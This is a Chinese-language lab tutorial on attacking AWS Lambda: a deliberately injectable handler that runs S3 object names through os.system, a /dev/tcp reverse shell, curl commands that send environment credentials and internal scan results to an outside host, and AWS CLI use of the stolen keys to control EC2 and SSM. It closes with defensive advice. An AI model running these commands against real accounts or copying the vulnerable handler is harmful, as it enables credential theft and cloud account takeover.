ServerLess Aws Lambda攻击与横向方法研究
字数 1473 2025-08-27 12:33:37
AWS Lambda攻击与横向方法研究教学文档
一、前言
本文主要研究AWS Lambda的攻击场景与方法,重点解决三个核心问题:
- Lambda会遇到什么攻击场景
- 在什么情况下,从Lambda中读取到的env环境变量密钥可以接管服务器甚至整个账号
- 在什么情况下,可以通过Lambda权限横向到其他EC2服务器
二、Serverless与Lambda基础
1. 基本概念
Serverless(无服务器计算):
- 不是不需要服务器,而是开发者无需考虑服务器维护
- 计算资源作为服务提供,不以物理硬件形式出现
- 优势:自动扩展、高可用性、减少运维成本
AWS Lambda:
- AWS提供的无服务器计算服务
- 按事件触发执行代码
- 自动管理底层基础设施
三、攻击场景搭建与实践
1. 创建Lambda函数
- 在AWS控制台创建Lambda函数
- 使用默认设置(包括执行角色)
- 保持高级设置默认
2. 添加触发器
- 创建S3存储桶
- 为Lambda函数添加S3触发器
- 选择"所有对象创建事件"
- 测试触发器:
- 上传文件到S3
- 在CloudWatch中查看日志
3. 漏洞利用代码示例
import json
import os
def lambda_handler(event, context):
for i in event['Records']:
getObjectName = i['s3']['object']['key']
getSplitObjectName = getObjectName.rsplit('.', 1)
os.system(getSplitObjectName[0])
4. 攻击方法
4.1 反弹Shell
尝试执行反弹Shell命令:
exec /bin/sh 0</dev/tcp/ip/1234 1>&0 2>&0
注意:实际测试中可能因网络限制失败
4.2 读取环境变量
使用curl外带env信息:
curl -X POST -d \" `env` \" vps:80.jpeg
获取的关键信息:
- AWS_ACCESS_KEY_ID
- AWS_SECRET_ACCESS_KEY
- AWS_SESSION_TOKEN
四、密钥利用分析
1. 默认IAM权限分析
默认Lambda执行角色通常只有以下权限:
- CreateLogGroup - 创建日志组
- CreateLogStream - 创建日志流
- PutLogEvents - 上传日志事件
2. 高权限角色配置
创建具有EC2完全访问权限的角色:
- 在IAM创建新角色
- 选择"Lambda"服务类型
- 附加"AmazonEC2FullAccess"策略
- 分配给Lambda函数
3. 利用高权限密钥
配置AWS CLI:
vim ~/.aws/credentials
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...
aws_session_token = ...
验证权限:
aws ec2 describe-instances
注意地区问题:确保CLI配置的地区与资源所在地区一致
4. EC2控制操作
停止EC2实例:
aws ec2 stop-instances --instance-ids i-xxxxxx
执行命令(需附加SSM权限):
aws ssm send-command \
--instance-ids "i-xxxxxx" \
--document-name "AWS-RunShellScript" \
--parameters commands=ifconfig \
--output text
获取命令输出:
aws ssm list-command-invocations \
--command-id xxxxxx \
--details
五、横向移动方法
1. VPC配置
- 在Lambda高级设置中分配VPC
- 确保Lambda与目标EC2在同一VPC中
- 检查EC2安全组设置(需放通相应端口)
2. 内网扫描
在Lambda中执行内网扫描:
- 下载扫描工具:
curl -o /tmp/kscan http://172.31.xx.xx/kscan_linux_amd64
chmod 777 /tmp/kscan
- 执行扫描:
/tmp/kscan --spy 172.31.0.0/16 --scan -t 200 > /tmp/ok.txt
- 外带结果:
curl -X POST -d \" `cat /tmp/ok.txt` \" 172.31.xx.xx:8000
注意:
- 调整Lambda超时时间(默认3秒可能不足)
- 确保有足够权限执行扫描
六、关键总结
1. Lambda攻击方式
- 主要源于不可控的外部输入
- 通过事件触发执行恶意代码
2. 接管服务器/账号条件
- Lambda必须拥有自定义IAM角色
- 角色需附加"AmazonEC2FullAccess"策略
3. 执行命令条件
- Lambda角色需附加:
- "AmazonSSMFullAccess"
- "AmazonEC2RoleforSSM"
- 目标EC2需运行SSM Agent
4. 横向移动条件
- Lambda必须绑定VPC
- 与目标服务器在同一VPC内
- 目标服务器安全组放通相应端口
七、防御建议
- 最小权限原则:严格限制Lambda执行角色权限
- 输入验证:对所有外部输入进行严格过滤
- 环境变量保护:避免在env中存储敏感凭证
- VPC隔离:合理规划网络架构
- 日志监控:密切监控Lambda异常行为
- 定期审计:检查IAM角色和权限分配